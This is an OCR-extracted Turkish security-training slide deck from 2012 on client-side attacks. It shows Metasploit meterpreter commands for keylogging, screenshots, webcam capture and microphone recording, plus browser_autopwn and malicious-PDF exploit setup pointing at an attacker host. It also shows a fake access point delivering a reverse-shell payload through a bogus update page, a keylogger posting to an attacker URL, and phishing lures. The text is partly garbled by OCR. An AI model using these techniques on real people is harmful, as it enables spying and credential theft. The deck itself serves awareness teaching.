BGA BiLGI GUVENLIGI
AKADEMISI

Istemci Tabanh Saldiri Tiirleri

Ozan UCAR
ozan.ucar@bga.com.tr

Kayseri 2012



Konusmaci Hakkinda

e Kidemli Bilgi GUvenligi Danismani ve Egitmen
— Bilgi GUvenligi AKADEMISI (www.bga.com.tr)
* Penetration Tester

* Blog Yazari
— blog.bga.com.tr
— www.cehturkiye.com
* |letisim
— Skype: ozan.ucar
— Eposta: ozan.ucar@bga.com.tr

— Twitter: @ucarozan



* Hacker’larin ve Givenlik Dinyasinin Gidisat

* |stemci Tabanli Saldiri Turleri

e Basarili Bir Saldiri Sonrasi Olasi Tehditler
e Casus Yazilim Tehlikeleri

* |stemci Bilgisayarlar Nasil Korunuyor

* Uygulamalar

e Korunma Yontemleri




Hacking Kaltturd Hakkinda

Bilgisayar yer alti dinyasi bir aynali salondur.
Gercekler bukualar, dogrular kicular.




Guvenlik Dunyasinin Gidisat




Hacker’larin Gidisat

Social
Networks/
Eng.

Client Mobile
InSecurity InSecurity




Istemci Tabanli Saldiri Turler;

* Browser (Internet Tarayicilar)
* Eposta Yazilimlari

 PDF Okuyucular

* Office Yazilimlari

e XSS Saldirilari

e Java Uygulamalari

 Media Player

* Casus Yazilimlar

* Sosyal Muhendislik




Saldiri Sonrasi Olasi Tehditler

Keylogger Kurulumu
— Klavye girislerinin dinlenmesi
Webcam Casusu
— Gizli video kaydi ve fotograf
Ortam Dinleme
— Ses kaydi
Veri Sizdirma
— Kayith parolalar, 6nemli ofis dosyalari vb.
Bilgisayari Kolelestirme
— Botnet ordusuna katilma, DDOS saldirilarinda bulunma

Ic networki dis diinyaya acma ve yerel agdaki diger sistemlere
saldiri




Istemci Bilgisayarlar Nasil Korunuyor ?

* Antivirus Yazilimlari
— Antivirus Uygulamalari
— Imza tabanli & Sezgisel Antivirus Yazilimlari
— Antivirus Bypass Teknikleri

* Kisisel Firewall Yazilimlar
— Atlatma senaryolari ...
* Biling

— Farkindalik ve egitimin dnemi




Taninmaz Casus Yazilim Olusturmak

Antivirus test

0 VT Community user(s) with a total of 0 reputation credit(s) say(s) this sample is goodware. 0 VT Community

user(s) with a total of 0 reputation credit(s) say(s) this sample is malware.

File name: istanbul.exe
Submission date: 2011-11-30 00:57:04 (UTC)
Current status: finished
Result: 5/43 (11.6%)
£ Compact
Antivirus Version

hnl.ab-—

Tarama Sonucu:

Last Update

Result

VT Community

-,

\;'
not reviewed
Safety score: -

.

www.virustotal.com/file-scan/report.htm|?id=728f30350259034aac5af95dd7a3cbe56612b31347c37005e9f7508c05c0d6fc-1322614624




Meterpreter | Keylogger

Keylogger olarak kullanimi;

meterpreter > keyscan dump

> ke Sca n Sta rt Dumping captured keystrokes...
<Ctrl> <LCtrl> abanka bilgilerim <Return> musteri no 123453434345 <Return> o <Back> parolam 98

> keyscan_dump

Hedefin ekran goruntisini ele gecirme

® file:///opt/metasploit3/msf3/ujkhmzg).jpeg - KView
File Edit View Go Tools Settings Help

> screenshot il ira Aol - W SINREKI .

9% Garanti

» English v Sifr

Untitled - Notepad
File Edit Format View Help

banka bilgilerim
musteri no 123453434345

Miisteri No: |123453434 parolam
Parola: [eeeceee

Sirketlern Intemet Kullaniolan Ign
Kullama Kodu: |

Parolarm Unuttum / Silmivorum b
4 <>
702, 361 800 x 600

meterpreter >

Screenshot saved to: /opt/metasploit3/msf3/ujkhmzgl.jpeg
meterpreter > /usr/lib/firefox-3.0.15/firefox: symbol lookup error: /usr/lib/xulrunner-1.9.0.15/
libxul.so: undefined symbol: sqlite3 enable_ shared cache




Meterpreter | Webcam Casusu

Webcam gorintustni ele gecirmek

™ 7 UfotjgAv.jpeg (JPEG Image, 640x480 pixels) - Scaled (82% % & =
Fle Edt View History Bookmarks Tools Help

& B - @ R = M fic/pentestyoxpio

Done =]

\/IC \IGA bWaeh(Cam
vL VUOA WebDCLa

w//webcam.ntm




Meterpreter | Ortam Dinleme

Kurban sistemde bir mikrofon varsa, ortam dinlemesi yapilabilir.
>record_mic-d 25 // 25. sn boyunca dinleme yap ve kaydet.

[*] Starting...

[*] Stopped

Audio saved to: /opt/metasploit3/msf3/nFqYscte.wav




Egitim icin gelistirilmistir.

Mouse haraketlerini takip eder.
Sanal klavye casuslugu yapmaktadir.

Antivirus ve Sezgisel Antilogger’lara karsi
taninma orani 0/43

Verileri saldirgana ait sunucuya POST eder.




Ajan Marmara

I_G}' VirtualKeyboard Logger Simulator = X

X:555,y:9445

ING Bank - Internet Subesi - Google Chrome

C:\Program Files\Google \Chrome \Applcation\chrome .exe —
X:555,y:445

ING Bank - Internet Subesi - Google Chrome) I

C:\Program Files\Google \Chrome \Applcation\chrome.exe

X:500,y:238

- - ZemMmanNg®
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Ajan Marmara

[7 85.95.238.173/keylog/upload.php

= A BiLGi GUOVENLIGI
PGS A AKADEMISI ZemMmanNg®

—
BGA-

1 85.95.238.172 BILGISAYARBGA ]E[ Windows7x32 chrome.exe ING BANK

BGA-

2 85.95.238.172 BILGISAYARBGA ]EIE Windows7x32 chrome.exe ING _' ) BANK

BGA-

3 8595238172 BILGISAYARBGA

Windows7x32 chrome.exe ING BANK

BGA-

4 8595238172 BILGISAYARBGA

Windows7x32 chrome.exe ING BANK

| N

BGA-

5 85.95.238.172 BILGISAYARBGA Windows7x32 chrome.exe ING ) BANK
BGA- v

6  85.95.238.172 BILGISAYARBGA Windows7x32 chrome.exe ING 72 9) BANK
BGA-

7  85.95.238.172

Windows7x32 chrome.exe ING BANK

BILGISAYARBGA

BGA-

8 8595238172 BILGISAYARBGA

Windows7x32 chrome.exe ING BANK

1) —
][]
-

BGA-

9 8595238172 BILGISAYARBGA

Windows7x32 chrome.exe ING _v ) BANK

BGA-

10 85.95.238.172 BILGISAYARBGA

Windows7x32 chrome.exe ING BANK




Browser Tabanli Acikliklar

* Bir browser exploiti, kotli amacl gelistirilmis
zararl kod parcasidir.

e Kullanicinin bilgisi olmadan, bilgisayarina
zararl yazilim bulastirmak veya izinsiz/yetkisiz
degisikliklerde bulunmak icin kullanilir.

e Zararli kod; HTML, Image, Java, Javascript,

ActiveX veya baska bir web teknolojisi olabilir.

e Zayifliklar, browser teknolojisinden veya
eklentilerinden kaynaklanabilir.




Browser Tabanli Acikliklar | Uygulama

* Browser Autopwn; Firefox, IExplorer, Chrome,Opera
msf > use auxiliary/server/browser_autopwn

msf auxiliary(browser_autopwn) > set LHOST saldirgan.com

LHOST => 85.95.238.172

msf auxiliary(browser_autopwn) > set SRVPORT 80
SRVPORT => 80

msf auxiliary(browser _autopwn) > set URIPATH /giris
URIPATH => /giris

msf auxiliary(browser _autopwn) > exploit

[*] --- Done, found 23 exploit modules

[*] Using URL: http://0.0.0.0:80/giris

[*] Local IP: http://saldirgan.com :80/giris




PDF Okuyucular| Uygulama

PDF formatinin populer olmasi ile birlikte, PDF
okuyucularin acikliklarlari etkili bir hacking
malzemesi haline gelmistir.

e Adobe Reader

msf > use exploit/windows/fileformat/adobe geticon
msf exploit(adobe geticon) > set FILENAME belge.pdf
FILENAME => belge.pdf
msf exploit(adobe geticon) > exploit
[*] Creating 'belge.pdf' file...

belge.pdf stored at /var/www/belge.pdf




Office Yazilimlari| Uygulama

Microsoft Word RTF pFragments Stack Buffer Overflow
(File Format)

* Microsoft office 2010, 2007 ve 2003 surumlerini etkileyen ve
gelisi guzel kod calistirmayi saglayan aciklik.

o X[ l__t\‘ ploit




Sosyal Muhendislik Saldirilari

Teknik sorunlar teknik yollarla ¢ozular, insan
tabanli sorunlar insanla ¢ozular ...

e QOltalama saldirilari
— facebook.com > facabook.com

* Bir web sitesinin bire bir benzerini (clone)
olusturmak

e Java Uygulamalari
* Sahte Kablosuz Aglar




SM | Oltalama Saldirilari

Ebru Polat 30 Ekim, 17:
ivi glnler,

. bir bayan olarak sdyleme ihtivaci durumundayim,surada bir bayarieeg iplak
gorUntileri var ve agadilikca bir video

ben gikayet ettim,sizi neden ilgilendirdigine gelince videonun altnda sizin
email adresiniz yaziyor ve kimlik bilgileriniz var videodaki bayan sizin
arkadaginizmig geklinde bir yazi yazilmis adres

www . facabook.com/video/video/video.php?v=138183152

. Caydos i Facebook tamdiiarnia lletigim k wve hay olup paylagmani sadlar.

Facebook'a Girlg

Bu sayfan Icin girty n

[EEENR > Facetesnca Kaydol

Sayfa 1
#1D # E-MAIL

several990@hotmail.com

crazy_boyS353@windowslive.com cimbom: 19056

digir anladim

Facebook Hi

NetDevilz Co,

www.bga.com.tr 22




SM | Web Clone & Java Applet (1)

Social-Engineer Toolkit

T m— TEEIX Java uygulamasi
olarak casus
vazilim bulastirma




SM | Web Clone & Java Applet (2)

Azat Camlibel via Linkedln member@linkedn.com 1 Kasim (5 glin 6nce)
Kime: bana |~

b 74 shared connections

| «% | Azat Camlibel
Business Manager at Sales Force Europe View Profile »

Accept

http://85.95.238.172/linkedin

www.bga.com.tr

| Q Azat Camlibel wants to consnect with you on LinkedIn.

24




SM | Eposta ile Avlama

Sayin ilgili,

Sirket blnyesinde uzun siredir altyapi calismalarini yurtitmekte
oldugumuz yeni nesil e-posta ve iletisim sistemlerine bu hafta itibariyle
gecis yapmis bulunmaktayiz. Kullanilan e-posta hesaplarinda problem
yasanmamasi adina asagida baglantisi verilen OWA(Outlook Web
Access) uygulamasina giris yaparak hesabimi gtincelle secenegini
isaretlemeniz beklenmektedir.

OWA 2012 Girig

Xyz Firmasi
Insan Kaynaklari Yonetimi




SM | Eposta ile Avlama

OWA sayfasinin bire bir
aynisl.

Kurban eposta bilglerini

yazdikdan sonra,
saldirinin farkina
varmasin diye gercek
OWA sayfasina
yonlendirilir.

Microsoft*

Outlook'Web App

Your session has timed out. To protect your account from

unauthorized acce the conn 1 to your mailbox is closed
after a period of inactivity. Please re-enter your user name and
passworc

Security ( show explanation )
(®) This is a public or shared computer
) This is a private computer

Use the light version of Outlook Web App

Domain\user name:

Password:

Connected to Microsoft Exchange
© 2010 Microsoft Corporation. All rights reserved.

www.bga.com.tr
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Sahte Kablosuz Erisim Noktalari

Yalnizca amaci kotl oldugu icin “sahte” olarak isimlendirilir, gerceginden
ayirt edilemez ©

Kablosuz ag istemcileri, saldirgan tarafindan yayin yapan kablosuz aga
dahil oldukdan sonra, tim internet trafigi kaydedilir.

DNS onbellegini zehirleyerek sahte erisim sayfalari ile kimlik avi yapabilir.




Sahte Kablosuz Erisim Noktalari

www.bga.com.tr



Sahte Kablosuz Erisim Noktalari

12336148 Trying to set MTU on at0 to 1500
12:36:48 Trying to set MTU on mon0 to 1800
ﬁ2:35:48 Access Point with BSSID 00:05:7C:9A:58:3F started,

Wrote 0 leases to leases file, root@bt: ~/FakeAP - Shell - Konsole
Listening on LPF/at0/00:05:7c19a:58:3F/10,0,0/24
Sending on  LPF/at0/00:05:7c:9a:58:3F/10,0,0/24
[S]ending on  Socket/fallback/fallback-net

t@bt: # bash fakeAP pwn.sh
akeAP_pv DN S fakeAP pwn v0.3 (#101)
listening on at0 [udp dst port 53 and not src 10,0,0,1] >] Testing: Environment

>] Configuring: Wireless card
Creating: Scripts
Creating: Exploit (Windows)
Starting: Access point
>] Configuring: Environment
- >] Starting: DHCP
+ -— ——=[ 644 exploits - 328 auxiliary >] Starting: DNS
Starting: Metasploit
Starting: Web server
PAYLOAD => windows/meterpreter/reverse_tcp >] Configuring: VNC
tggg}z;igé24L1 i] Waiting for -the target to run the "update" file
AutoRunScript => /tmp/fakeAP_pun,rb
INTERFACE => at0

[*] Started reverse handler on 10,0,0,1:4564
H‘] Starting the payload handler,,,

v0.3 101) - DNS

dnsspoof:
~[[A

=[ svn r11713 updated 5 days ago (2011,02,04)

& Shell | @ Shell No. 2

vncviewer -listen: Listening on port 5500
vheviewer -listen: Command line errors are not reported until a connection comes in,

Saldiri yapilan sistemden ekran goriintisi




Sahte Kablosuz Erisim Noktalari

internete ilk girildigi anda, sahte bir giincelleme mesaji ile casus yazilim kurban
bilgisayara yuklenir.

1€ Kritik Guvenlik Ai§1- Glincelleme Gerekli - Windows Internet Explorer L =npaR x|
@Ug s http://update.microsoft.com v & =9 Google Vol

U7 Sk Kullanilanlar | 5% ] AirTies Air5450v2 £ | Daha fazla eklentibul v *§ Google [[] Onerilen Siteler v

FreeBSD v 5] sesli sozlik ingilize tiirkg...

& Kritik Gavenlik Acigi- Giincelleme Gerekli v B v @ v Syfav Guvenlkv Araclrv @~

Ny
Ay - A

Windows isletim sisteminizin kritik bir gilivenlik gilincellestirmesi eksik

m

Devam etmek icin bu glincellemeyi yiiklemeniz gerekmektedir.

Giincellemeyi Yiikle

Nasil guncellerim: o
KAMPUS

1.) Yukaridaki glincelle butonuna tiklayiniz.
2.) Dosyay! kaydedin veya "¢alistir" butonuna tiklayiniz.
3.) Yikleme igleminin tamamlanmasini bekleyiniz.
4.) Guvenlik uyarilarina "Allow/OK" ile yanit verin.
5.) Guncellemeyi uyguladiysaniz, internette gezinmeye baslayabilirsiniz.

Onemli: Giincelleme islemi ortalama 2 dakika stirer. A% ve Merkeri'n: ac
Ag ve Paylagim Merkezi'ni ag

12:48
m,
Bitti € Internet | Korumal Mod: Kapali < B E e 09.02.2011




Tesekkurler



